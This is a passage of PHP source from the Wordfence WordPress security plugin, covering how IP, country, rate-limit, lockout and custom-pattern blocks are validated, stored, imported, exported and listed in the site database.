			if (!isset($payload['ip']) || !filter_var(trim($payload['ip']), FILTER_VALIDATE_IP) || wfUtils::inet_pton(trim($payload['ip'])) === false) { return __('Invalid IP address.', 'wordfence'); }
			if (self::isWhitelisted(trim($payload['ip']))) { return wp_kses(sprintf(/* translators: Support URL */ __('This IP address is in a range of addresses that Wordfence does not block. The IP range may be internal or belong to a service that is always allowed. Allowlisting of external services can be disabled. <a href="%s" target="_blank" rel="noopener noreferrer">Learn More<span class="screen-reader-text"> (opens in new tab)</span></a>', 'wordfence'), wfSupportController::supportURL(wfSupportController::ITEM_FIREWALL_WAF_OPTION_WHITELISTED_SERVICES)), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()), 'span'=>array('class'=>array()))); }
		}
		else if ($payload['type'] == 'country') {
			if (!isset($payload['blockLogin']) || !isset($payload['blockSite'])) { return __('Nothing selected to block.', 'wordfence'); }
			if (!$payload['blockLogin'] && !$payload['blockSite']) { return __('Nothing selected to block.', 'wordfence'); }
			if (!isset($payload['countries']) || empty($payload['countries']) || !is_array($payload['countries'])) { return __('No countries selected.', 'wordfence'); }
			
			require(WORDFENCE_PATH . 'lib/wfBulkCountries.php'); /** @var array $wfBulkCountries */
			foreach ($payload['countries'] as $code) {
				if (!isset($wfBulkCountries[$code])) {
					return __('An invalid country was selected.', 'wordfence');
				}
			}
		}
		else if ($payload['type'] == 'custom-pattern') {
			$hasOne = false;
			if (isset($payload['ipRange']) && !empty($payload['ipRange'])) {
				$ipRange = new wfUserIPRange($payload['ipRange']);
				if ($ipRange->isValidRange()) {
					if ($ipRange->isMixedRange()) {
						return __('Ranges mixing IPv4 and IPv6 addresses are not supported.', 'wordfence');
					}
					
					$hasOne = true;
				}
				else {
					return __('Invalid IP range.', 'wordfence');
				}
			}
			if (isset($payload['hostname']) && !empty($payload['hostname'])) {
				if (preg_match('/^[a-z0-9\.\*\-]+$/i', $payload['hostname'])) {
					$hasOne = true;
				}
				else {
					return __('Invalid hostname.', 'wordfence');
				}
			}
			if (isset($payload['userAgent']) && !empty($payload['userAgent'])) { $hasOne = true; }
			if (isset($payload['referrer']) && !empty($payload['referrer'])) { $hasOne = true; }
			if (!$hasOne) { return __('No block parameters provided.', 'wordfence'); }
		}
		
		return true;
	}
	
	/**
	 * Creates the block. The $payload value is expected to have been validated prior to calling this.
	 * 
	 * @param $payload
	 */
	public static function create($payload) {
		$type = $payload['type'];
		$duration = max((int) $payload['duration'], 0);
		$reason = $payload['reason'];
		
		if ($type == 'ip-address') {
			$ip = trim($payload['ip']);
			wfBlock::createIP($reason, $ip, $duration);
		}
		else if ($type == 'country') {
			$blockLogin = !!$payload['blockLogin'];
			$blockSite = !!$payload['blockSite'];
			$countries = array_unique($payload['countries']);
			wfBlock::createCountry($reason, $blockLogin, $blockSite, $countries, $duration);
		}
		else if ($type == 'custom-pattern') {
			$ipRange = '';
			if (isset($payload['ipRange']) && !empty($payload['ipRange'])) {
				$ipRange = new wfUserIPRange($payload['ipRange']);
				$ipRange = $ipRange->getIPString();
			}
			$hostname = (isset($payload['hostname']) && !empty($payload['hostname'])) ? $payload['hostname'] : '';
			$userAgent = (isset($payload['userAgent']) && !empty($payload['userAgent'])) ? $payload['userAgent'] : '';
			$referrer = (isset($payload['referrer']) && !empty($payload['referrer'])) ? $payload['referrer'] : '';
			wfBlock::createPattern($reason, $ipRange, $hostname, $userAgent, $referrer, $duration);
		}
	}
	
	/**
	 * Creates an IP block if one doesn't already exist for the given IP. The parameters are expected to have been validated and sanitized prior to calling this.
	 * 
	 * @param string $reason
	 * @param string $ip
	 * @param int $duration Optional. Defaults to forever. This is the number of seconds for the block to last.
	 * @param bool|int $blockedTime Optional. Defaults to the current timestamp.
	 * @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
	 * @param bool|int $blockedHits Optional. Defaults to 0.
	 */
	public static function createIP($reason, $ip, $duration = self::DURATION_FOREVER, $blockedTime = false, $lastAttempt = false, $blockedHits = false, $type = self::TYPE_IP_MANUAL) {
		global $wpdb;
		
		if (self::isWhitelisted($ip)) { return; }
		
		if ($blockedTime === false) {
			$blockedTime = time();
		}
		
		$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
		$blocksTable = wfBlock::blocksTable();
		$hasExisting = $wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `reason` = %s, `expiration` = %d WHERE `expiration` > UNIX_TIMESTAMP() AND `type` = %d AND `IP` = {$ipHex}", $reason, ($duration ? $blockedTime + $duration : $duration), $type));
		if (!$hasExisting) {
			$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, NULL)", $type, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration)));
			
			wfConfig::inc('totalIPsBlocked');
		}
		
		if ($type == self::TYPE_IP_MANUAL || $type == self::TYPE_IP_AUTOMATIC_PERMANENT) {
			/**
			 * Fires when an IP/Pattern block is created.
			 *
			 * @since 8.0.0
			 *
			 * @param string $type The type of block.
			 * @param string $reason The reason for the block.
			 * @param string|array $parameters The IP address being blocked for IP blocks or the pattern for pattern blocks.
			 */
			do_action('wordfence_created_ip_pattern_block', $type, $reason, $ip);
		}
		
		if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
			wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
		}
	}
	
	/**
	 * Creates an IP block for a WFSN response if one doesn't already exist for the given IP. The parameters are expected to have been validated and sanitized prior to calling this.
	 *
	 * @param string $reason
	 * @param string $ip
	 * @param int $duration This is the number of seconds for the block to last.
	 * @param bool|int $blockedTime Optional. Defaults to the current timestamp.
	 * @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
	 * @param bool|int $blockedHits Optional. Defaults to 0.
	 */
	public static function createWFSN($reason, $ip, $duration, $blockedTime = false, $lastAttempt = false, $blockedHits = false) {
		global $wpdb;
		
		if (self::isWhitelisted($ip)) { return; }
		
		if ($blockedTime === false) {
			$blockedTime = time();
		}
		
		$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
		$blocksTable = wfBlock::blocksTable();
		$hasExisting = $wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `reason` = %s, `expiration` = %d WHERE `expiration` > UNIX_TIMESTAMP() AND `type` = %d AND `IP` = {$ipHex}", $reason, ($duration ? $blockedTime + $duration : $duration), self::TYPE_WFSN_TEMPORARY));
		if (!$hasExisting) {
			$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, NULL)", self::TYPE_WFSN_TEMPORARY, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration)));
			
			wfConfig::inc('totalIPsBlocked');
		}
		
		if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
			wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
		}
	}
	
	/**
	 * Creates an IP block for a rate limit if one doesn't already exist for the given IP. The parameters are expected to have been validated and sanitized prior to calling this.
	 *
	 * @param string $reason
	 * @param string $ip
	 * @param int $duration This is the number of seconds for the block to last.
	 * @param bool|int $blockedTime Optional. Defaults to the current timestamp.
	 * @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
	 * @param bool|int $blockedHits Optional. Defaults to 0.
	 */
	public static function createRateBlock($reason, $ip, $duration, $blockedTime = false, $lastAttempt = false, $blockedHits = false) {
		global $wpdb;
		
		if (self::isWhitelisted($ip)) { return; }
		
		if ($blockedTime === false) {
			$blockedTime = time();
		}
		
		$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
		$blocksTable = wfBlock::blocksTable();
		$hasExisting = $wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `reason` = %s, `expiration` = %d WHERE `expiration` > UNIX_TIMESTAMP() AND `type` = %d AND `IP` = {$ipHex}", $reason, ($duration ? $blockedTime + $duration : $duration), self::TYPE_RATE_BLOCK));
		if (!$hasExisting) {
			$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, NULL)", self::TYPE_RATE_BLOCK, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration)));
			
			wfConfig::inc('totalIPsBlocked');
		}
		
		if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
			wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
		}
	}
	
	/**
	 * Creates an IP throttle for a rate limit if one doesn't already exist for the given IP. The parameters are expected to have been validated and sanitized prior to calling this.
	 *
	 * @param string $reason
	 * @param string $ip
	 * @param int $duration This is the number of seconds for the block to last.
	 * @param bool|int $blockedTime Optional. Defaults to the current timestamp.
	 * @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
	 * @param bool|int $blockedHits Optional. Defaults to 0.
	 */
	public static function createRateThrottle($reason, $ip, $duration, $blockedTime = false, $lastAttempt = false, $blockedHits = false) {
		global $wpdb;
		
		if (self::isWhitelisted($ip)) { return; }
		
		if ($blockedTime === false) {
			$blockedTime = time();
		}
		
		$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
		$blocksTable = wfBlock::blocksTable();
		$hasExisting = $wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `reason` = %s, `expiration` = %d WHERE `expiration` > UNIX_TIMESTAMP() AND `type` = %d AND `IP` = {$ipHex}", $reason, ($duration ? $blockedTime + $duration : $duration), self::TYPE_RATE_THROTTLE));
		if (!$hasExisting) {
			$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, NULL)", self::TYPE_RATE_THROTTLE, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration)));
			
			wfConfig::inc('totalIPsBlocked');
		}
		
		if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
			wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
		}
	}
	
	/**
	 * Creates a lockout if one doesn't already exist for the given IP. The parameters are expected to have been validated and sanitized prior to calling this.
	 *
	 * @param string $reason
	 * @param string $ip
	 * @param int $duration This is the number of seconds for the block to last.
	 * @param bool|int $blockedTime Optional. Defaults to the current timestamp.
	 * @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
	 * @param bool|int $blockedHits Optional. Defaults to 0.
	 */
	public static function createLockout($reason, $ip, $duration, $blockedTime = false, $lastAttempt = false, $blockedHits = false) {
		global $wpdb;
		
		if (self::isWhitelisted($ip)) { return; }
		
		if ($blockedTime === false) {
			$blockedTime = time();
		}
		
		$blocksTable = wfBlock::blocksTable();
		$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
		$hasExisting = $wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `reason` = %s, `expiration` = %d WHERE `expiration` > UNIX_TIMESTAMP() AND `type` = %d AND `IP` = {$ipHex}", $reason, ($duration ? $blockedTime + $duration : $duration), self::TYPE_LOCKOUT));
		if (!$hasExisting) {
			$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, NULL)", self::TYPE_LOCKOUT, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration)));
			
			wfConfig::inc('totalIPsLocked');
		}
		
		if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
			wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
		}
	}
	
	/**
	 * Creates a country block. The parameters are expected to have been validated and sanitized prior to calling this.
	 *
	 * @param string $reason
	 * @param string $blockLogin
	 * @param string $blockSite
	 * @param string $countries
	 * @param int $duration Optional. Defaults to forever. This is the number of seconds for the block to last.
	 * @param bool|int $blockedTime Optional. Defaults to the current timestamp.
	 * @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
	 * @param bool|int $blockedHits Optional. Defaults to 0.
	 */
	public static function createCountry($reason, $blockLogin, $blockSite, $countries, $duration = self::DURATION_FOREVER, $blockedTime = false, $lastAttempt = false, $blockedHits = false) {
		global $wpdb;
		
		if ($blockedTime === false) {
			$blockedTime = time();
		}
		
		$parameters = array(
			'blockLogin' => $blockLogin ? 1 : 0,
			'blockSite' => $blockSite ? 1 : 0,
			'countries' => $countries,
		);
		
		$blocksTable = wfBlock::blocksTable();
		$existing = $wpdb->get_row($wpdb->prepare("SELECT * FROM `{$blocksTable}` WHERE `type` = %d LIMIT 1", self::TYPE_COUNTRY), ARRAY_A);
		$before = array(
			'parameters' => null,
			'bypass' => array(
				'cbl_loggedInBlocked' => wfConfig::get('cbl_loggedInBlocked', false),
				'cbl_action' => wfConfig::get('cbl_action'),
				'cbl_redirURL' => wfConfig::get('cbl_redirURL', ''),
				'cbl_bypassRedirURL' => wfConfig::get('cbl_bypassRedirURL', ''),
				'cbl_bypassRedirDest' => wfConfig::get('cbl_bypassRedirDest', ''),
				'cbl_bypassViewURL' => wfConfig::get('cbl_bypassViewURL', ''),
			),
		);
		$after = $before;
		$after['parameters'] = $parameters;
		if ($existing) {
			$before['parameters'] = @json_decode($existing['parameters'], true);
			if (!is_array($before['parameters'])) { $before['parameters'] = array(); }
			$wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `reason` = %s, `parameters` = %s WHERE `id` = %d", $reason, json_encode($parameters), $existing['id']));
		}
		else {
			$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, %s, %d, %s, %d, %d, %d, %s)", self::TYPE_COUNTRY, self::MARKER_COUNTRY, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration), json_encode($parameters)));
		}
		
		/**
		 * Fires when the country blocking rule is updated.
		 *
		 * @since 8.0.0
		 *
		 * @param array $before {
		 * 		The country block configuration before the change
		 * 
		 * 		@type array $parameters The parameters of the country block.
		 * 		@type array $bypass {
		 * 			The assorted bypass settings for country blocking.
		 * 
		 * 			@type bool $cbl_loggedInBlocked Block countries even if there is a valid logged-in user for the request
		 * 			@type string $cbl_action Action taken when a request is received from a blocked country
		 * 			@type string $cbl_redirURL URL destination when $cbl_action is `redir`
		 * 			@type string $cbl_bypassRedirURL If a visitor hits this URL
		 * 			@type string $cbl_bypassRedirDest then redirect to this URL and set a cookie that will bypass all country blocking
		 * 			@type string $cbl_bypassViewURL If a user currently not blocked hits this URL, then set a cookie that will bypass country blocking in the future even if visiting from a blocked country
		 * 		}
		 * }
		 * @param array $after The country block configuration after the change, same structure as $before
		 */
		do_action('wordfence_updated_country_blocking', $before, $after);
		
		if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
			wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
		}
	}
	
	/**
	 * Creates a pattern block. The parameters are expected to have been validated and sanitized prior to calling this.
	 * 
	 * @param string $reason
	 * @param string $ipRange
	 * @param string $hostname
	 * @param string $userAgent
	 * @param string $referrer
	 * @param int $duration Optional. Defaults to forever. This is the number of seconds for the block to last.
	 * @param bool|int $blockedTime Optional. Defaults to the current timestamp.
	 * @param bool|int $lastAttempt Optional. Defaults to 0, which means never.
	 * @param bool|int $blockedHits Optional. Defaults to 0.
	 */
	public static function createPattern($reason, $ipRange, $hostname, $userAgent, $referrer, $duration = self::DURATION_FOREVER, $blockedTime = false, $lastAttempt = false, $blockedHits = false) {
		global $wpdb;
		
		if ($blockedTime === false) {
			$blockedTime = time();
		}
		
		$parameters = array(
			'ipRange' => $ipRange,
			'hostname' => $hostname,
			'userAgent' => $userAgent,
			'referrer' => $referrer,
		);
		
		$blocksTable = wfBlock::blocksTable();
		$wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, %s, %d, %s, %d, %d, %d, %s)", self::TYPE_PATTERN, self::MARKER_PATTERN, $blockedTime, $reason, (int) $lastAttempt, (int) $blockedHits, ($duration ? $blockedTime + $duration : $duration), json_encode($parameters)));
		
		/**
		 * @see wfBlock::createIP()
		 */
		do_action('wordfence_created_ip_pattern_block', self::TYPE_PATTERN, $reason, $parameters);
		
		if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
			wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
		}
	}
	
	/**
	 * Removes all expired blocks.
	 */
	public static function vacuum() {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		$wpdb->query("DELETE FROM `{$blocksTable}` WHERE `expiration` <= UNIX_TIMESTAMP() AND `expiration` != " . self::DURATION_FOREVER);
	}
	
	/**
	 * Imports all valid blocks in $blocks. If $replaceExisting is true, this will remove all permanent blocks prior to the import.
	 * 
	 * @param array $blocks
	 * @param bool $replaceExisting
	 */
	public static function importBlocks($blocks, $replaceExisting = true) {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		
		if ($replaceExisting) {
			$removing = self::_recordsFromRows($wpdb->get_results("SELECT * FROM `{$blocksTable}` WHERE `expiration` = " . self::DURATION_FOREVER, ARRAY_A));
			self::removeMultiple($removing, true);
		}
		
		foreach ($blocks as $b) {
			self::_importBlock($b);
		}
		
		if (!WFWAF_SUBDIRECTORY_INSTALL && class_exists('wfWAFIPBlocksController')) {
			wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings();
		}
	}
	
	/**
	 * Validates the block import record and inserts it if valid. This validation is identical to what is applied to adding one through the UI.
	 * 
	 * @param array $b
	 * @return bool
	 */
	private static function _importBlock($b) {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		
		if (!isset($b['type']) || !isset($b['IP']) || !isset($b['blockedTime']) || !isset($b['reason']) || !isset($b['lastAttempt']) || !isset($b['blockedHits'])) { return false; }
		if (empty($b['IP']) || empty($b['reason'])) { return false; }
		
		$ip = wfUtils::inet_ntop(wfUtils::hex2bin($b['IP']));
		if (!wfUtils::isValidIP($ip)) { return false; }
		
		switch ($b['type']) {
			case self::TYPE_IP_MANUAL:
			case self::TYPE_IP_AUTOMATIC_TEMPORARY:
			case self::TYPE_IP_AUTOMATIC_PERMANENT:
			case self::TYPE_WFSN_TEMPORARY:
			case self::TYPE_RATE_BLOCK:
			case self::TYPE_RATE_THROTTLE:
			case self::TYPE_LOCKOUT:
				if (self::isWhitelisted($ip)) { return false; }

				if ($b['type'] == self::TYPE_IP_MANUAL || $b['type'] == self::TYPE_IP_AUTOMATIC_PERMANENT) {
					/**
					 * @see wfBlock::createIP()
					 */
					do_action('wordfence_created_ip_pattern_block', $b['type'], $b['reason'], $ip);
				}
			
				$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
				return $wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, NULL)", (int) $b['type'], (int) $b['blockedTime'], $b['reason'], (int) $b['lastAttempt'], (int) $b['blockedHits'], self::DURATION_FOREVER)) !== false;
			case self::TYPE_COUNTRY:
				if (!isset($b['parameters'])) { return false; }
				if (wfUtils::inet_pton($ip) != self::MARKER_COUNTRY) { return false; }
				$parameters = @json_decode($b['parameters'], true);
				if (!is_array($parameters)) { $parameters = array(); }
				if (!isset($parameters['blockLogin']) || !isset($parameters['blockSite']) || !isset($parameters['countries'])) { return false; }
				$parameters['blockLogin'] = wfUtils::truthyToInt($parameters['blockLogin']);
				$parameters['blockSite'] = wfUtils::truthyToInt($parameters['blockSite']);
				
				require(WORDFENCE_PATH . 'lib/wfBulkCountries.php'); /** @var array $wfBulkCountries */
				foreach ($parameters['countries'] as $code) {
					if (!isset($wfBulkCountries[$code])) {
						return false;
					}
				}
				
				$parameters = array('blockLogin' => $parameters['blockLogin'], 'blockSite' => $parameters['blockSite'], 'countries' => $parameters['countries']);
			
				$before = array(
					'parameters' => null,
					'bypass' => array(
						'cbl_loggedInBlocked' => wfConfig::get('cbl_loggedInBlocked', false),
						'cbl_action' => wfConfig::get('cbl_action'),
						'cbl_redirURL' => wfConfig::get('cbl_redirURL', ''),
						'cbl_bypassRedirURL' => wfConfig::get('cbl_bypassRedirURL', ''),
						'cbl_bypassRedirDest' => wfConfig::get('cbl_bypassRedirDest', ''),
						'cbl_bypassViewURL' => wfConfig::get('cbl_bypassViewURL', ''),
					),
				);
				$after = $before;
				$after['parameters'] = $parameters;
				
				/**
				 * @see wfBlock::createCountry()
				 */
				do_action('wordfence_updated_country_blocking', $before, $after);
				
				$ipHex = wfDB::binaryValueToSQLHex(self::MARKER_COUNTRY);
				return $wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, %s)", self::TYPE_COUNTRY, (int) $b['blockedTime'], $b['reason'], (int) $b['lastAttempt'], (int) $b['blockedHits'], self::DURATION_FOREVER, json_encode($parameters))) !== false;
			case self::TYPE_PATTERN:
				if (!isset($b['parameters'])) { return false; }
				if (wfUtils::inet_pton($ip) != self::MARKER_PATTERN) { return false; }
				$parameters = @json_decode($b['parameters'], true);
				if (!is_array($parameters)) { $parameters = array(); }
				if (!isset($parameters['ipRange']) || !isset($parameters['hostname']) || !isset($parameters['userAgent']) || !isset($parameters['referrer'])) { return false; }
				
				$hasOne = false;
				if (!empty($parameters['ipRange'])) {
					$ipRange = new wfUserIPRange($parameters['ipRange']);
					if ($ipRange->isValidRange()) {
						if ($ipRange->isMixedRange()) {
							return false;
						}
						
						$hasOne = true;
					}
					else {
						return false;
					}
				}
				if (!empty($parameters['hostname'])) {
					if (preg_match('/^[a-z0-9\.\*\-]+$/i', $parameters['hostname'])) {
						$hasOne = true;
					}
					else {
						return false;
					}
				}
				if (!empty($parameters['userAgent'])) { $hasOne = true; }
				if (!empty($parameters['referrer'])) { $hasOne = true; }
				if (!$hasOne) { return false; }
				
				$ipRange = '';
				if (!empty($parameters['ipRange'])) {
					$ipRange = new wfUserIPRange($parameters['ipRange']);
					$ipRange = $ipRange->getIPString();
				}
				$parameters = array(
					'ipRange' => $ipRange,
					'hostname' => $parameters['hostname'],
					'userAgent' => $parameters['userAgent'],
					'referrer' => $parameters['referrer'],
				);
				
				/**
				 * @see wfBlock::createIP()
				 */
				do_action('wordfence_created_ip_pattern_block', $b['type'], $b['reason'], $parameters);
				
				$ipHex = wfDB::binaryValueToSQLHex(self::MARKER_PATTERN);
				return $wpdb->query($wpdb->prepare("INSERT INTO `{$blocksTable}` (`type`, `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `expiration`, `parameters`) VALUES (%d, {$ipHex}, %d, %s, %d, %d, %d, %s)", self::TYPE_PATTERN, (int) $b['blockedTime'], $b['reason'], (int) $b['lastAttempt'], (int) $b['blockedHits'], self::DURATION_FOREVER, json_encode($parameters))) !== false;
		}
		
		return false;
	}
	
	/**
	 * Returns an array suitable for JSON output of all permanent blocks.
	 * 
	 * @return array
	 */
	public static function exportBlocks() {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		$query = "SELECT `type`, HEX(`IP`) AS `IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `parameters` FROM `{$blocksTable}` WHERE `expiration` = " . self::DURATION_FOREVER;
		$rows = $wpdb->get_results($query, ARRAY_A);
		return $rows;
	}
	
	/**
	 * Returns all unexpired blocks (including lockouts by default), optionally only of the specified types. These are sorted descending by the time created.
	 * 
	 * @param bool $prefetch If true, the full data for the block is fetched rather than using lazy loading.
	 * @param array $ofTypes An optional array of block types to restrict the returned array of blocks to.
	 * @param int $offset The offset to start the result fetch at.
	 * @param int $limit The maximum number of results to return. -1 for all.
	 * @param string $sortColumn The column to sort by.
	 * @param string $sortDirection The direction to sort.
	 * @param string $filter An optional value to filter by.
	 * @return wfBlock[]
	 */
	public static function allBlocks($prefetch = false, $ofTypes = array(), $offset = 0, $limit = -1, $sortColumn = 'type', $sortDirection = 'ascending', $filter = '') {
		global $wpdb;
		$blocksTable = wfBlock::blocksTable();
		$columns = '`id`';
		if ($prefetch) {
			$columns = '*';
		}
		
		$sort = 'typeSort';
		switch ($sortColumn) { //Match the display table column to the corresponding schema column
			case 'type':
				//Use default;
				break;
			case 'detail':
				$sort = 'detailSort';
				break;
			case 'ruleAdded':
				$sort = 'blockedTime';
				break;
			case 'reason':
				$sort = 'reason';
				break;
			case 'expiration':
				$sort = 'expiration';
				break;
			case 'blockCount':
				$sort = 'blockedHits';
				break;
			case 'lastAttempt':
				$sort = 'lastAttempt';
				break;
		}
		
		$order = 'ASC';
		if ($sortDirection == 'descending') {
			$order = 'DESC';
		}
		
		$query = "SELECT {$columns}, CASE 
WHEN `type` = " . self::TYPE_COUNTRY . " THEN 0
WHEN `type` = " . self::TYPE_PATTERN . " THEN 1
WHEN `type` = " . self::TYPE_LOCKOUT . " THEN 2
WHEN `type` = " . self::TYPE_RATE_THROTTLE . " THEN 3
WHEN `type` = " . self::TYPE_RATE_BLOCK . " THEN 4
WHEN `type` = " . self::TYPE_IP_AUTOMATIC_PERMANENT . " THEN 5
WHEN `type` = " . self::TYPE_IP_AUTOMATIC_TEMPORARY . " THEN 6
WHEN `type` = " . self::TYPE_WFSN_TEMPORARY . " THEN 7
WHEN `type` = " . self::TYPE_IP_MANUAL . " THEN 8
ELSE 9999
END AS `typeSort`, CASE 
WHEN `type` = " . self::TYPE_COUNTRY . " THEN `parameters`
WHEN `type` = " . self::TYPE_PATTERN . " THEN `parameters`
WHEN `type` = " . self::TYPE_IP_MANUAL . " THEN `IP`
WHEN `type` = " . self::TYPE_IP_AUTOMATIC_PERMANENT . " THEN `IP`
WHEN `type` = " . self::TYPE_RATE_BLOCK . " THEN `IP`
WHEN `type` = " . self::TYPE_RATE_THROTTLE . " THEN `IP`
WHEN `type` = " . self::TYPE_LOCKOUT . " THEN `IP`
WHEN `type` = " . self::TYPE_WFSN_TEMPORARY . " THEN `IP`
WHEN `type` = " . self::TYPE_IP_AUTOMATIC_TEMPORARY . " THEN `IP`
ELSE 9999
END AS `detailSort`
 FROM `{$blocksTable}` WHERE ";
		if (!empty($ofTypes)) {
			$sanitizedTypes = array_map('intval', $ofTypes);
			$query .= "`type` IN (" . implode(', ', $sanitizedTypes) . ') AND ';
		}
		$query .= '(`expiration` = ' . self::DURATION_FOREVER . " OR `expiration` > UNIX_TIMESTAMP()) ORDER BY `{$sort}` {$order}, `id` DESC";
		
		if ($limit > -1) {
			$offset = (int) $offset;
			$limit = (int) $limit;
			$query .= " LIMIT {$offset},{$limit}";
		}
		
		$rows = $wpdb->get_results($query, ARRAY_A);
		$result = array();
		foreach ($rows as $r) {
			if ($prefetch) {
				if ($r['type'] == self::TYPE_COUNTRY || $r['type'] == self::TYPE_PATTERN) {
					$ip = null;
				}
				else {
					$ip = wfUtils::inet_ntop($r['IP']);
				}
				
				$parameters = null;
				if ($r['type'] == self::TYPE_PATTERN || $r['type'] == self::TYPE_COUNTRY) {
					$parameters = @json_decode($r['parameters'], true);
					if (!is_array($parameters)) { $parameters = array(); }
				}
				
				$result[] = new wfBlock($r['id'], $r['type'], $ip, $r['blockedTime'], $r['reason'], $r['lastAttempt'], $r['blockedHits'], $r['expiration'], $parameters);
			}
			else {
				$result[] = new wfBlock($r['id']);
			}
		}
		
		return $result;
	}
	
	/**
	 * Functions identically to wfBlock::allBlocks except that it filters the result. The filtering is done within PHP rather than MySQL, so this will impose a performance penalty and should only
	 * be used when filtering is actually wanted.
	 * 
	 * @param bool $prefetch
	 * @param array $ofTypes
	 * @param int $offset
	 * @param int $limit
	 * @param string $sortColumn
	 * @param string $sortDirection
	 * @param string $filter
	 * @return wfBlock[]
	 */
	public static function filteredBlocks($prefetch = false, $ofTypes = array(), $offset = 0, $limit = -1, $sortColumn = 'type', $sortDirection = 'ascending', $filter = '') {
		$filter = trim($filter);
		$matchType = '';
		$matchValue = '';
		if (empty($filter)) {
			return self::allBlocks($prefetch, $ofTypes, $offset, $limit, $sortColumn, $sortDirection);
		}
		else if (wfUtils::isValidIP($filter)) { //e.g., 4.5.6.7, ffe0::, ::0
			$matchType = 'ip';
			$matchValue = wfUtils::inet_ntop(wfUtils::inet_pton($filter));
		}
		
		if (empty($matchType) && preg_match('/^(?:[0-9]+|\*)\.(?:(?:[0-9]+|\*)\.(?!$))*(?:(?:[0-9]+|\*))?$/', trim($filter, '.'))) { //e.g., possible wildcard IPv4 like 4.5.*
			$components = explode('.', trim($filter, '.'));
			if (count($components) <= 4) {
				$components = array_pad($components, 4, '*');
				$matchType = 'ipregex';
				$matchValue = '^';
